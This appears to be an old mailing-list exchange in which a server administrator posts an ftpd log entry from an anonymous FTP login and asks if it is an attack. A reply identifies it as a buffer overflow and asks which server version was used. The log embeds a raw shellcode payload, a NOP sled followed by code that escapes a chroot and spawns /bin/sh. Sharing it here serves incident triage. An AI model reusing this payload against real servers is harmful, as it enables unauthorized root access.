Hi, my server had registry de following entry:
Jan 11 06:02:36 cumana in.ftpd[23016]: connect from pedro@150.185.69.34 Jan 11 06:02:36 cumana ftpd[23016]: connection from complex.ciens.ucv.ve Jan 11 06:02:37 cumana ftpd[23016]: ANONYMOUS FTP LOGIN FROM complex.ciens.ucv.ve ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P1À1Û1É°FÍ~@1À1ÛC~IÙA°?Í~@ëk^1À1É~M^^A~HF^Df¹ÿ^A°'Í~@1À~M^^ A°=Í~@1À1Û~M^^H~IC^B1ÉþÉ1À~M^^H°^LÍ~@þÉuó1À~HF^I~M^^H°=Í~@þ^N°0þÈ~HF^D1À~HF^ G~Iv^H~IF^L~Ió~MN^H~MV^L°^KÍ~@1À1Û°^AÍ~@è~Pÿÿÿ0bin0sh1..11
Is this message a possible attack?
Yes, it is. This is clearly a buffer overflow attack. Please mail me (privately for now) the ftp server you're using, at which version. I'll summarize.
Thanks.
Luis.
Thanks,
Roman.
--
- -
| Roman Drahtmüller